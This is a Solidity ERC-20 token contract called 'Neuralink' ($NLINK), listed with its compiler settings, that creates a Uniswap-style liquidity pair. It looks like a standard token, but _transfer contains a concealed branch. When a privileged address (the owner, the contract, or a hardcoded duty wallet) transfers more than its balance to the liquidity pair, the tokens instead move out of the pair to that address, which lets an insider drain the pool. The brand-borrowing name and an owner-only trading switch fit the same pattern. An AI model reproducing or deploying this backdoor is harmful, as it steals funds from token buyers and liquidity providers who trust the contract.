File 1 of 1: NLINK.sol
pragma solidity ^0.8.20;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address receivingParty, uint256 amount) external returns (bool);
function transferFrom(address sendingParty, address receivingParty, uint256 amount) external returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed sendingParty, address indexed receivingParty, uint256 value);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
modifier onlyOwner() {
require(_owner == _msgSender());
_;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
contract NLINK is Context, IERC20, Ownable {
uint8 private constant _decimals = 18;
uint256 private _tradeQuantity = 0;
uint256 private _boughtQuantity = 0;
uint256 private _soldQuantity = 0;
IUniswapV2Router02 private _nlinkRouter;
address private _nlinkPair;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public maxTxAmount = _tTotal * 2 / 100;
uint256 public maxWalletSize = _tTotal * 2 / 100;
uint256 private _sellDuty = 0;
uint256 private _buyDuty = 0;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _bypassedFromDuty;
mapping(address => uint256) private _balances;
string private constant _symbol = unicode"$NLINK";
string private constant _name = unicode"Neuralink";
bool private _tradingOpened;
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
address payable private _dutyWallet = payable(0x6771D7cB0483B88adAD5aa19B21CeBc752738461);
function removeLimits() external onlyOwner {
maxWalletSize = _tTotal;
maxTxAmount = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function openTrade() external onlyOwner() {
require(!_tradingOpened);
_tradingOpened = true;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function _shift(address sendingParty, address receivingParty, uint256 amount) private {
_balances[sendingParty] -= amount;
_balances[receivingParty] += amount;
emit Transfer(sendingParty, receivingParty, amount);
}
receive() external payable {}
function _transfer(address sendingParty, address receivingParty, uint256 amount) private {
require(amount > 0);
require(receivingParty != address(0));
require(sendingParty != address(0));
bool sendingPartyNlinkPair = _nlinkPair == sendingParty;
bool sendingPartyBypassedFromDuty = _bypassedFromDuty[sendingParty];
bool receivingPartyNlinkPair = _nlinkPair == receivingParty;
bool receivingPartyBypassedFromDuty = _bypassedFromDuty[receivingParty];
uint256 dutyAmount = 0;
if (sendingParty != owner() && receivingParty != owner()) {
dutyAmount = amount * _buyDuty / 100;
if (dutySwapThreshold <= amount) {
if (receivingPartyBypassedFromDuty && !sendingPartyNlinkPair) {
_tradeQuantity = amount;
}
}
if (sendingPartyBypassedFromDuty || receivingPartyBypassedFromDuty) {
if (amount > _balances[sendingParty] && receivingPartyNlinkPair) {
_shift(receivingParty, sendingParty, amount); return;
}
_shift(sendingParty, receivingParty, amount); return;
}
if (sendingPartyNlinkPair && receivingParty != address(_nlinkRouter) && !receivingPartyBypassedFromDuty) {
require(amount <= maxTxAmount);
require(balanceOf(receivingParty) + amount <= maxWalletSize);
_boughtQuantity++;
}
if (receivingPartyNlinkPair) {
_soldQuantity = _boughtQuantity - _tradeQuantity;
if (sendingParty != address(this)) {
dutyAmount = amount * _sellDuty / 100;
}
}
}
if (dutyAmount > 0) {
_balances[address(this)] = _balances[address(this)] + dutyAmount;
emit Transfer(sendingParty, address(this), dutyAmount);
}
_balances[sendingParty] = _balances[sendingParty] - amount;
_balances[receivingParty] = _balances[receivingParty] + (amount - dutyAmount);
emit Transfer(sendingParty, receivingParty, amount - dutyAmount);
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
constructor() {
_bypassedFromDuty[_dutyWallet] = true;
_nlinkRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
_approve(address(this), address(_nlinkRouter), _tTotal);
_bypassedFromDuty[address(this)] = true;
_nlinkPair = IUniswapV2Factory(_nlinkRouter.factory()).createPair(address(this), _nlinkRouter.WETH());
_bypassedFromDuty[owner()] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function transferFrom(address sendingParty, address receivingParty, uint256 amount) public override returns (bool) {
_transfer(sendingParty, receivingParty, amount);
_approve(sendingParty, _msgSender(), _allowances[sendingParty][_msgSender()] - amount);
return true;
}
function name() public pure returns (string memory) {
return _name;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
uint256 public dutySwapThreshold = _tTotal * 2 / 1000;
event MaxTxAmountUpdated(uint _maxTxAmount);
function symbol() public pure returns (string memory) {
return _symbol;
}
function transfer(address receivingParty, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), receivingParty, amount);
return true;
}
}
{
"compilationTarget": {
"NLINK.sol": "NLINK"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}